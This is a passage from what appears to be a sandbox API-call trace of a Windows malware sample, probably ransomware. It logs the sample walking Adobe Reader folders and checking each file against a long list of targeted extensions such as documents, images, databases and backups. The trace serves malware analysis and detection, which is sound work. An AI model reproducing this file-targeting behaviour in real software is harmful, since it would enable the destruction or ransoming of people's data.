ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CZE", cAlternateFileName="")) returned 1 [0272.471] lstrlenW (lpString="Flash.CZE") returned 9 [0272.471] lstrlenW (lpString=".1cd") returned 4 [0272.472] FindClose (in: hFindFile=0x624640 | out: hFindFile=0x624640) returned 1 [0272.472] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x437dff0 | out: hHeap=0x590000) returned 1 [0272.472] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_HRV", cAlternateFileName="")) returned 1 [0272.473] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV") returned 75 [0272.473] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\*", lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624640 [0272.475] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.475] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.HRV", cAlternateFileName="")) returned 1 [0272.475] lstrlenW (lpString="Flash.HRV") returned 9 [0272.475] lstrlenW (lpString=".1cd") returned 4 [0272.475] FindClose (in: hFindFile=0x624640 | out: hFindFile=0x624640) returned 1 [0272.476] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x437dff0 | out: hHeap=0x590000) returned 1 [0272.476] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_HUN", cAlternateFileName="")) returned 1 [0272.476] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN") returned 75 [0272.476] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\*", lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624640 [0272.478] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.479] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.HUN", cAlternateFileName="")) returned 1 [0272.479] lstrlenW (lpString="Flash.HUN") returned 9 [0272.479] lstrlenW (lpString=".1cd") returned 4 [0272.479] lstrcmpiW (lpString1=".1cd", lpString2=".HUN") returned -1 [0272.480] lstrlenW (lpString=".3ds") returned 4 [0272.480] lstrcmpiW (lpString1=".3ds", lpString2=".HUN") returned -1 [0272.480] lstrlenW (lpString=".3fr") returned 4 [0272.480] lstrcmpiW (lpString1=".3fr", lpString2=".HUN") returned -1 [0272.480] lstrlenW (lpString=".3g2") returned 4 [0272.480] lstrcmpiW (lpString1=".3g2", lpString2=".HUN") returned -1 [0272.480] lstrlenW (lpString=".3gp") returned 4 [0272.480] lstrcmpiW (lpString1=".3gp", lpString2=".HUN") returned -1 [0272.480] lstrlenW (lpString=".7z") returned 3 [0272.480] lstrcmpiW (lpString1=".7z", lpString2="HUN") returned -1 [0272.480] lstrlenW (lpString=".accda") returned 6 [0272.480] lstrcmpiW (lpString1=".accda", lpString2="sh.HUN") returned -1 [0272.481] lstrlenW (lpString=".accdb") returned 6 [0272.481] lstrcmpiW (lpString1=".accdb", lpString2="sh.HUN") returned -1 [0272.481] lstrlenW (lpString=".accdc") returned 6 [0272.481] lstrcmpiW (lpString1=".accdc", lpString2="sh.HUN") returned -1 [0272.481] lstrlenW (lpString=".accde") returned 6 [0272.481] lstrcmpiW (lpString1=".accde", lpString2="sh.HUN") returned -1 [0272.481] lstrlenW (lpString=".accdt") returned 6 [0272.481] lstrcmpiW (lpString1=".accdt", lpString2="sh.HUN") returned -1 [0272.481] lstrlenW (lpString=".accdw") returned 6 [0272.481] lstrcmpiW (lpString1=".accdw", lpString2="sh.HUN") returned -1 [0272.481] lstrlenW (lpString=".adb") returned 4 [0272.481] lstrcmpiW (lpString1=".adb", lpString2=".HUN") returned -1 [0272.481] lstrlenW (lpString=".adp") returned 4 [0272.482] lstrcmpiW (lpString1=".adp", lpString2=".HUN") returned -1 [0272.482] lstrlenW (lpString=".ai") returned 3 [0272.482] lstrcmpiW (lpString1=".ai", lpString2="HUN") returned -1 [0272.482] lstrlenW (lpString=".ai3") returned 4 [0272.482] lstrcmpiW (lpString1=".ai3", lpString2=".HUN") returned -1 [0272.482] lstrlenW (lpString=".ai4") returned 4 [0272.482] lstrcmpiW (lpString1=".ai4", lpString2=".HUN") returned -1 [0272.482] lstrlenW (lpString=".ai5") returned 4 [0272.482] lstrcmpiW (lpString1=".ai5", lpString2=".HUN") returned -1 [0272.482] lstrlenW (lpString=".ai6") returned 4 [0272.482] lstrcmpiW (lpString1=".ai6", lpString2=".HUN") returned -1 [0272.482] lstrlenW (lpString=".ai7") returned 4 [0272.483] lstrcmpiW (lpString1=".ai7", lpString2=".HUN") returned -1 [0272.483] lstrlenW (lpString=".ai8") returned 4 [0272.483] lstrcmpiW (lpString1=".ai8", lpString2=".HUN") returned -1 [0272.483] lstrlenW (lpString=".anim") returned 5 [0272.483] lstrcmpiW (lpString1=".anim", lpString2="h.HUN") returned -1 [0272.483] lstrlenW (lpString=".arw") returned 4 [0272.483] lstrcmpiW (lpString1=".arw", lpString2=".HUN") returned -1 [0272.483] lstrlenW (lpString=".as") returned 3 [0272.483] lstrcmpiW (lpString1=".as", lpString2="HUN") returned -1 [0272.483] lstrlenW (lpString=".asa") returned 4 [0272.483] lstrcmpiW (lpString1=".asa", lpString2=".HUN") returned -1 [0272.483] lstrlenW (lpString=".asc") returned 4 [0272.484] lstrcmpiW (lpString1=".asc", lpString2=".HUN") returned -1 [0272.484] lstrlenW (lpString=".ascx") returned 5 [0272.484] lstrcmpiW (lpString1=".ascx", lpString2="h.HUN") returned -1 [0272.484] lstrlenW (lpString=".asm") returned 4 [0272.484] lstrcmpiW (lpString1=".asm", lpString2=".HUN") returned -1 [0272.484] lstrlenW (lpString=".asmx") returned 5 [0272.484] lstrcmpiW (lpString1=".asmx", lpString2="h.HUN") returned -1 [0272.484] lstrlenW (lpString=".asp") returned 4 [0272.484] lstrcmpiW (lpString1=".asp", lpString2=".HUN") returned -1 [0272.484] lstrlenW (lpString=".aspx") returned 5 [0272.484] lstrcmpiW (lpString1=".aspx", lpString2="h.HUN") returned -1 [0272.484] lstrlenW (lpString=".asr") returned 4 [0272.485] lstrcmpiW (lpString1=".asr", lpString2=".HUN") returned -1 [0272.485] lstrlenW (lpString=".asx") returned 4 [0272.485] lstrcmpiW (lpString1=".asx", lpString2=".HUN") returned -1 [0272.485] lstrlenW (lpString=".avi") returned 4 [0272.485] lstrcmpiW (lpString1=".avi", lpString2=".HUN") returned -1 [0272.485] lstrlenW (lpString=".avs") returned 4 [0272.485] lstrcmpiW (lpString1=".avs", lpString2=".HUN") returned -1 [0272.485] lstrlenW (lpString=".backup") returned 7 [0272.485] lstrcmpiW (lpString1=".backup", lpString2="ash.HUN") returned -1 [0272.485] lstrlenW (lpString=".bak") returned 4 [0272.485] lstrcmpiW (lpString1=".bak", lpString2=".HUN") returned -1 [0272.485] lstrlenW (lpString=".bay") returned 4 [0272.486] lstrcmpiW (lpString1=".bay", lpString2=".HUN") returned -1 [0272.486] lstrlenW (lpString=".bd") returned 3 [0272.486] lstrcmpiW (lpString1=".bd", lpString2="HUN") returned -1 [0272.486] lstrlenW (lpString=".bin") returned 4 [0272.486] lstrcmpiW (lpString1=".bin", lpString2=".HUN") returned -1 [0272.486] lstrlenW (lpString=".bmp") returned 4 [0272.486] lstrcmpiW (lpString1=".bmp", lpString2=".HUN") returned -1 [0272.486] lstrlenW (lpString=".bz2") returned 4 [0272.486] lstrcmpiW (lpString1=".bz2", lpString2=".HUN") returned -1 [0272.486] lstrlenW (lpString=".c") returned 2 [0272.486] lstrcmpiW (lpString1=".c", lpString2="UN") returned -1 [0272.487] lstrlenW (lpString=".cdr") returned 4 [0272.487] lstrcmpiW (lpString1=".cdr", lpString2=".HUN") returned -1 [0272.487] lstrlenW (lpString=".cer") returned 4 [0272.487] lstrcmpiW (lpString1=".cer", lpString2=".HUN") returned -1 [0272.487] lstrlenW (lpString=".cf") returned 3 [0272.487] lstrcmpiW (lpString1=".cf", lpString2="HUN") returned -1 [0272.487] lstrlenW (lpString=".cfc") returned 4 [0272.487] lstrcmpiW (lpString1=".cfc", lpString2=".HUN") returned -1 [0272.487] lstrlenW (lpString=".cfm") returned 4 [0272.487] lstrcmpiW (lpString1=".cfm", lpString2=".HUN") returned -1 [0272.487] lstrlenW (lpString=".cfml") returned 5 [0272.487] lstrcmpiW (lpString1=".cfml", lpString2="h.HUN") returned -1 [0272.487] lstrlenW (lpString=".cfu") returned 4 [0272.488] lstrcmpiW (lpString1=".cfu", lpString2=".HUN") returned -1 [0272.488] lstrlenW (lpString=".chm") returned 4 [0272.488] lstrcmpiW (lpString1=".chm", lpString2=".HUN") returned -1 [0272.488] lstrlenW (lpString=".cin") returned 4 [0272.488] lstrcmpiW (lpString1=".cin", lpString2=".HUN") returned -1 [0272.488] lstrlenW (lpString=".class") returned 6 [0272.488] lstrcmpiW (lpString1=".class", lpString2="sh.HUN") returned -1 [0272.488] lstrlenW (lpString=".clx") returned 4 [0272.488] lstrcmpiW (lpString1=".clx", lpString2=".HUN") returned -1 [0272.488] lstrlenW (lpString=".config") returned 7 [0272.488] lstrcmpiW (lpString1=".config", lpString2="ash.HUN") returned -1 [0272.488] lstrlenW (lpString=".cpp") returned 4 [0272.489] lstrcmpiW (lpString1=".cpp", lpString2=".HUN") returned -1 [0272.489] lstrlenW (lpString=".cr2") returned 4 [0272.489] lstrcmpiW (lpString1=".cr2", lpString2=".HUN") returned -1 [0272.489] lstrlenW (lpString=".crt") returned 4 [0272.489] lstrcmpiW (lpString1=".crt", lpString2=".HUN") returned -1 [0272.489] lstrlenW (lpString=".crw") returned 4 [0272.489] lstrcmpiW (lpString1=".crw", lpString2=".HUN") returned -1 [0272.489] lstrlenW (lpString=".cs") returned 3 [0272.489] lstrcmpiW (lpString1=".cs", lpString2="HUN") returned -1 [0272.489] lstrlenW (lpString=".css") returned 4 [0272.489] lstrcmpiW (lpString1=".css", lpString2=".HUN") returned -1 [0272.489] lstrlenW (lpString=".csv") returned 4 [0272.490] lstrcmpiW (lpString1=".csv", lpString2=".HUN") returned -1 [0272.490] lstrlenW (lpString=".cub") returned 4 [0272.490] lstrcmpiW (lpString1=".cub", lpString2=".HUN") returned -1 [0272.490] lstrlenW (lpString=".dae") returned 4 [0272.490] lstrcmpiW (lpString1=".dae", lpString2=".HUN") returned -1 [0272.490] lstrlenW (lpString=".dat") returned 4 [0272.490] lstrcmpiW (lpString1=".dat", lpString2=".HUN") returned -1 [0272.490] lstrlenW (lpString=".db") returned 3 [0272.490] lstrcmpiW (lpString1=".db", lpString2="HUN") returned -1 [0272.490] lstrlenW (lpString=".dbf") returned 4 [0272.490] lstrcmpiW (lpString1=".dbf", lpString2=".HUN") returned -1 [0272.490] lstrlenW (lpString=".dbx") returned 4 [0272.490] lstrcmpiW (lpString1=".dbx", lpString2=".HUN") returned -1 [0272.491] lstrlenW (lpString=".dc3") returned 4 [0272.491] lstrcmpiW (lpString1=".dc3", lpString2=".HUN") returned -1 [0272.491] lstrlenW (lpString=".dcm") returned 4 [0272.491] lstrcmpiW (lpString1=".dcm", lpString2=".HUN") returned -1 [0272.491] lstrlenW (lpString=".dcr") returned 4 [0272.491] lstrcmpiW (lpString1=".dcr", lpString2=".HUN") returned -1 [0272.491] lstrlenW (lpString=".der") returned 4 [0272.491] lstrcmpiW (lpString1=".der", lpString2=".HUN") returned -1 [0272.491] lstrlenW (lpString=".dib") returned 4 [0272.491] lstrcmpiW (lpString1=".dib", lpString2=".HUN") returned -1 [0272.491] lstrlenW (lpString=".dic") returned 4 [0272.492] lstrcmpiW (lpString1=".dic", lpString2=".HUN") returned -1 [0272.492] lstrlenW (lpString=".dif") returned 4 [0272.492] lstrcmpiW (lpString1=".dif", lpString2=".HUN") returned -1 [0272.492] lstrlenW (lpString=".divx") returned 5 [0272.492] lstrcmpiW (lpString1=".divx", lpString2="h.HUN") returned -1 [0272.492] lstrlenW (lpString=".djvu") returned 5 [0272.492] lstrcmpiW (lpString1=".djvu", lpString2="h.HUN") returned -1 [0272.492] lstrlenW (lpString=".dng") returned 4 [0272.492] lstrcmpiW (lpString1=".dng", lpString2=".HUN") returned -1 [0272.492] lstrlenW (lpString=".doc") returned 4 [0272.492] lstrcmpiW (lpString1=".doc", lpString2=".HUN") returned -1 [0272.492] lstrlenW (lpString=".docm") returned 5 [0272.493] lstrcmpiW (lpString1=".docm", lpString2="h.HUN") returned -1 [0272.493] lstrlenW (lpString=".docx") returned 5 [0272.493] lstrcmpiW (lpString1=".docx", lpString2="h.HUN") returned -1 [0272.493] lstrlenW (lpString=".dot") returned 4 [0272.493] lstrcmpiW (lpString1=".dot", lpString2=".HUN") returned -1 [0272.493] lstrlenW (lpString=".dotm") returned 5 [0272.493] lstrcmpiW (lpString1=".dotm", lpString2="h.HUN") returned -1 [0272.493] lstrlenW (lpString=".dotx") returned 5 [0272.493] lstrcmpiW (lpString1=".dotx", lpString2="h.HUN") returned -1 [0272.493] lstrlenW (lpString=".dpx") returned 4 [0272.493] lstrcmpiW (lpString1=".dpx", lpString2=".HUN") returned -1 [0272.493] lstrlenW (lpString=".dqy") returned 4 [0272.493] lstrcmpiW (lpString1=".dqy", lpString2=".HUN") returned -1 [0272.494] lstrlenW (lpString=".dsn") returned 4 [0272.494] lstrcmpiW (lpString1=".dsn", lpString2=".HUN") returned -1 [0272.494] lstrlenW (lpString=".dt") returned 3 [0272.494] lstrcmpiW (lpString1=".dt", lpString2="HUN") returned -1 [0272.494] lstrlenW (lpString=".dtd") returned 4 [0272.494] lstrcmpiW (lpString1=".dtd", lpString2=".HUN") returned -1 [0272.494] lstrlenW (lpString=".dwg") returned 4 [0272.494] lstrcmpiW (lpString1=".dwg", lpString2=".HUN") returned -1 [0272.494] lstrlenW (lpString=".dwt") returned 4 [0272.494] lstrcmpiW (lpString1=".dwt", lpString2=".HUN") returned -1 [0272.717] lstrlenW (lpString=".dx") returned 3 [0272.717] lstrcmpiW (lpString1=".dx", lpString2="HUN") returned -1 [0272.717] lstrlenW (lpString=".dxf") returned 4 [0272.717] lstrcmpiW (lpString1=".dxf", lpString2=".HUN") returned -1 [0272.717] lstrlenW (lpString=".edml") returned 5 [0272.717] lstrcmpiW (lpString1=".edml", lpString2="h.HUN") returned -1 [0272.717] lstrlenW (lpString=".efd") returned 4 [0272.717] lstrcmpiW (lpString1=".efd", lpString2=".HUN") returned -1 [0272.717] lstrlenW (lpString=".elf") returned 4 [0272.717] lstrcmpiW (lpString1=".elf", lpString2=".HUN") returned -1 [0272.717] lstrlenW (lpString=".emf") returned 4 [0272.717] lstrcmpiW (lpString1=".emf", lpString2=".HUN") returned -1 [0272.718] lstrlenW (lpString=".emz") returned 4 [0272.718] lstrcmpiW (lpString1=".emz", lpString2=".HUN") returned -1 [0272.718] lstrlenW (lpString=".epf") returned 4 [0272.718] lstrcmpiW (lpString1=".epf", lpString2=".HUN") returned -1 [0272.718] lstrlenW (lpString=".eps") returned 4 [0272.718] lstrcmpiW (lpString1=".eps", lpString2=".HUN") returned -1 [0272.718] lstrlenW (lpString=".epsf") returned 5 [0272.718] lstrcmpiW (lpString1=".epsf", lpString2="h.HUN") returned -1 [0272.718] lstrlenW (lpString=".epsp") returned 5 [0272.718] lstrcmpiW (lpString1=".epsp", lpString2="h.HUN") returned -1 [0272.718] lstrlenW (lpString=".erf") returned 4 [0272.718] lstrcmpiW (lpString1=".erf", lpString2=".HUN") returned -1 [0272.718] lstrlenW (lpString=".exr") returned 4 [0272.718] lstrcmpiW (lpString1=".exr", lpString2=".HUN") returned -1 [0272.718] lstrlenW (lpString=".f4v") returned 4 [0272.719] lstrcmpiW (lpString1=".f4v", lpString2=".HUN") returned -1 [0272.719] lstrlenW (lpString=".fido") returned 5 [0272.719] lstrcmpiW (lpString1=".fido", lpString2="h.HUN") returned -1 [0272.719] lstrlenW (lpString=".flm") returned 4 [0272.719] lstrcmpiW (lpString1=".flm", lpString2=".HUN") returned -1 [0272.719] lstrlenW (lpString=".flv") returned 4 [0272.719] lstrcmpiW (lpString1=".flv", lpString2=".HUN") returned -1 [0272.719] lstrlenW (lpString=".frm") returned 4 [0272.719] lstrcmpiW (lpString1=".frm", lpString2=".HUN") returned -1 [0272.719] lstrlenW (lpString=".fxg") returned 4 [0272.719] lstrcmpiW (lpString1=".fxg", lpString2=".HUN") returned -1 [0272.719] lstrlenW (lpString=".geo") returned 4 [0272.719] lstrcmpiW (lpString1=".geo", lpString2=".HUN") returned -1 [0272.720] lstrlenW (lpString=".gif") returned 4 [0272.720] lstrcmpiW (lpString1=".gif", lpString2=".HUN") returned -1 [0272.720] lstrlenW (lpString=".grs") returned 4 [0272.720] lstrcmpiW (lpString1=".grs", lpString2=".HUN") returned -1 [0272.720] lstrlenW (lpString=".gz") returned 3 [0272.720] lstrcmpiW (lpString1=".gz", lpString2="HUN") returned -1 [0272.720] lstrlenW (lpString=".h") returned 2 [0272.720] lstrcmpiW (lpString1=".h", lpString2="UN") returned -1 [0272.720] lstrlenW (lpString=".hdr") returned 4 [0272.720] lstrcmpiW (lpString1=".hdr", lpString2=".HUN") returned -1 [0272.720] lstrlenW (lpString=".hpp") returned 4 [0272.720] lstrcmpiW (lpString1=".hpp", lpString2=".HUN") returned -1 [0272.720] lstrlenW (lpString=".hta") returned 4 [0272.720] lstrcmpiW (lpString1=".hta", lpString2=".HUN") returned -1 [0272.720] lstrlenW (lpString=".htc") returned 4 [0272.721] lstrcmpiW (lpString1=".htc", lpString2=".HUN") returned -1 [0272.721] lstrlenW (lpString=".htm") returned 4 [0272.721] lstrcmpiW (lpString1=".htm", lpString2=".HUN") returned -1 [0272.721] lstrlenW (lpString=".html") returned 5 [0272.721] lstrcmpiW (lpString1=".html", lpString2="h.HUN") returned -1 [0272.721] lstrlenW (lpString=".icb") returned 4 [0272.721] lstrcmpiW (lpString1=".icb", lpString2=".HUN") returned 1 [0272.721] lstrlenW (lpString=".ics") returned 4 [0272.721] lstrcmpiW (lpString1=".ics", lpString2=".HUN") returned 1 [0272.721] lstrlenW (lpString=".iff") returned 4 [0272.721] lstrcmpiW (lpString1=".iff", lpString2=".HUN") returned 1 [0272.721] lstrlenW (lpString=".inc") returned 4 [0272.721] lstrcmpiW (lpString1=".inc", lpString2=".HUN") returned 1 [0272.721] lstrlenW (lpString=".indd") returned 5 [0272.721] lstrcmpiW (lpString1=".indd", lpString2="h.HUN") returned -1 [0272.722] lstrlenW (lpString=".ini") returned 4 [0272.722] lstrcmpiW (lpString1=".ini", lpString2=".HUN") returned 1 [0272.722] lstrlenW (lpString=".iqy") returned 4 [0272.722] lstrcmpiW (lpString1=".iqy", lpString2=".HUN") returned 1 [0272.722] lstrlenW (lpString=".j2c") returned 4 [0272.722] lstrcmpiW (lpString1=".j2c", lpString2=".HUN") returned 1 [0272.722] lstrlenW (lpString=".j2k") returned 4 [0272.722] lstrcmpiW (lpString1=".j2k", lpString2=".HUN") returned 1 [0272.722] lstrlenW (lpString=".java") returned 5 [0272.722] lstrcmpiW (lpString1=".java", lpString2="h.HUN") returned -1 [0272.722] lstrlenW (lpString=".jp2") returned 4 [0272.722] lstrcmpiW (lpString1=".jp2", lpString2=".HUN") returned 1 [0272.722] lstrlenW (lpString=".jpc") returned 4 [0272.722] lstrcmpiW (lpString1=".jpc", lpString2=".HUN") returned 1 [0272.722] lstrlenW (lpString=".jpe") returned 4 [0272.722] lstrcmpiW (lpString1=".jpe", lpString2=".HUN") returned 1 [0272.722] lstrlenW (lpString=".jpeg") returned 5 [0272.722] lstrcmpiW (lpString1=".jpeg", lpString2="h.HUN") returned -1 [0272.723] lstrlenW (lpString=".jpf") returned 4 [0272.723] lstrcmpiW (lpString1=".jpf", lpString2=".HUN") returned 1 [0272.723] lstrlenW (lpString=".jpg") returned 4 [0272.723] lstrcmpiW (lpString1=".jpg", lpString2=".HUN") returned 1 [0272.723] lstrlenW (lpString=".jpx") returned 4 [0272.723] lstrcmpiW (lpString1=".jpx", lpString2=".HUN") returned 1 [0272.723] lstrlenW (lpString=".js") returned 3 [0272.723] lstrcmpiW (lpString1=".js", lpString2="HUN") returned -1 [0272.723] lstrlenW (lpString=".jsf") returned 4 [0272.723] lstrcmpiW (lpString1=".jsf", lpString2=".HUN") returned 1 [0272.723] lstrlenW (lpString=".json") returned 5 [0272.723] lstrcmpiW (lpString1=".json", lpString2="h.HUN") returned -1 [0272.723] lstrlenW (lpString=".jsp") returned 4 [0272.723] lstrcmpiW (lpString1=".jsp", lpString2=".HUN") returned 1 [0272.723] lstrlenW (lpString=".kdc") returned 4 [0272.723] lstrcmpiW (lpString1=".kdc", lpString2=".HUN") returned 1 [0272.724] lstrlenW (lpString=".kmz") returned 4 [0272.724] lstrcmpiW (lpString1=".kmz", lpString2=".HUN") returned 1 [0272.724] lstrlenW (lpString=".kwm") returned 4 [0272.724] lstrcmpiW (lpString1=".kwm", lpString2=".HUN") returned 1 [0272.724] lstrlenW (lpString=".lasso") returned 6 [0272.724] lstrcmpiW (lpString1=".lasso", lpString2="sh.HUN") returned -1 [0272.724] lstrlenW (lpString=".lbi") returned 4 [0272.724] lstrcmpiW (lpString1=".lbi", lpString2=".HUN") returned 1 [0272.724] lstrlenW (lpString=".lgf") returned 4 [0272.724] lstrcmpiW (lpString1=".lgf", lpString2=".HUN") returned 1 [0272.724] lstrlenW (lpString=".lgp") returned 4 [0272.724] lstrcmpiW (lpString1=".lgp", lpString2=".HUN") returned 1 [0272.724] lstrlenW (lpString=".log") returned 4 [0272.724] lstrcmpiW (lpString1=".log", lpString2=".HUN") returned 1 [0272.724] lstrlenW (lpString=".m1v") returned 4 [0272.725] lstrcmpiW (lpString1=".m1v", lpString2=".HUN") returned 1 [0272.725] lstrlenW (lpString=".m4a") returned 4 [0272.725] lstrcmpiW (lpString1=".m4a", lpString2=".HUN") returned 1 [0272.725] lstrlenW (lpString=".m4v") returned 4 [0272.725] lstrcmpiW (lpString1=".m4v", lpString2=".HUN") returned 1 [0272.725] lstrlenW (lpString=".max") returned 4 [0272.725] lstrcmpiW (lpString1=".max", lpString2=".HUN") returned 1 [0272.725] lstrlenW (lpString=".md") returned 3 [0272.725] lstrcmpiW (lpString1=".md", lpString2="HUN") returned -1 [0272.725] lstrlenW (lpString=".mda") returned 4 [0272.725] lstrcmpiW (lpString1=".mda", lpString2=".HUN") returned 1 [0272.725] lstrlenW (lpString=".mdb") returned 4 [0272.725] lstrcmpiW (lpString1=".mdb", lpString2=".HUN") returned 1 [0272.725] lstrlenW (lpString=".mde") returned 4 [0272.726] lstrcmpiW (lpString1=".mde", lpString2=".HUN") returned 1 [0272.726] lstrlenW (lpString=".mdf") returned 4 [0272.726] lstrcmpiW (lpString1=".mdf", lpString2=".HUN") returned 1 [0272.726] lstrlenW (lpString=".mdw") returned 4 [0272.726] lstrcmpiW (lpString1=".mdw", lpString2=".HUN") returned 1 [0272.726] lstrlenW (lpString=".mef") returned 4 [0272.726] lstrcmpiW (lpString1=".mef", lpString2=".HUN") returned 1 [0272.726] lstrlenW (lpString=".mft") returned 4 [0272.726] lstrcmpiW (lpString1=".mft", lpString2=".HUN") returned 1 [0272.726] lstrlenW (lpString=".mfw") returned 4 [0272.726] lstrcmpiW (lpString1=".mfw", lpString2=".HUN") returned 1 [0272.726] lstrlenW (lpString=".mht") returned 4 [0272.726] lstrcmpiW (lpString1=".mht", lpString2=".HUN") returned 1 [0272.726] lstrlenW (lpString=".mhtml") returned 6 [0272.727] lstrcmpiW (lpString1=".mhtml", lpString2="sh.HUN") returned -1 [0272.727] lstrlenW (lpString=".mka") returned 4 [0272.727] lstrcmpiW (lpString1=".mka", lpString2=".HUN") returned 1 [0272.727] lstrlenW (lpString=".mkidx") returned 6 [0272.727] lstrcmpiW (lpString1=".mkidx", lpString2="sh.HUN") returned -1 [0272.727] lstrlenW (lpString=".mkv") returned 4 [0272.727] lstrcmpiW (lpString1=".mkv", lpString2=".HUN") returned 1 [0272.727] lstrlenW (lpString=".mos") returned 4 [0272.727] lstrcmpiW (lpString1=".mos", lpString2=".HUN") returned 1 [0272.727] lstrlenW (lpString=".mov") returned 4 [0272.727] lstrcmpiW (lpString1=".mov", lpString2=".HUN") returned 1 [0272.727] lstrlenW (lpString=".mp3") returned 4 [0272.727] lstrcmpiW (lpString1=".mp3", lpString2=".HUN") returned 1 [0272.728] lstrlenW (lpString=".mp4") returned 4 [0272.728] lstrcmpiW (lpString1=".mp4", lpString2=".HUN") returned 1 [0272.728] lstrlenW (lpString=".mpeg") returned 5 [0272.728] lstrcmpiW (lpString1=".mpeg", lpString2="h.HUN") returned -1 [0272.728] lstrlenW (lpString=".mpg") returned 4 [0272.746] lstrcmpiW (lpString1=".mpg", lpString2=".HUN") returned 1 [0272.746] lstrlenW (lpString=".mpv") returned 4 [0272.746] lstrcmpiW (lpString1=".mpv", lpString2=".HUN") returned 1 [0272.746] lstrlenW (lpString=".mrw") returned 4 [0272.746] lstrcmpiW (lpString1=".mrw", lpString2=".HUN") returned 1 [0272.746] lstrlenW (lpString=".msg") returned 4 [0272.746] lstrcmpiW (lpString1=".msg", lpString2=".HUN") returned 1 [0272.746] lstrlenW (lpString=".mxl") returned 4 [0272.746] lstrcmpiW (lpString1=".mxl", lpString2=".HUN") returned 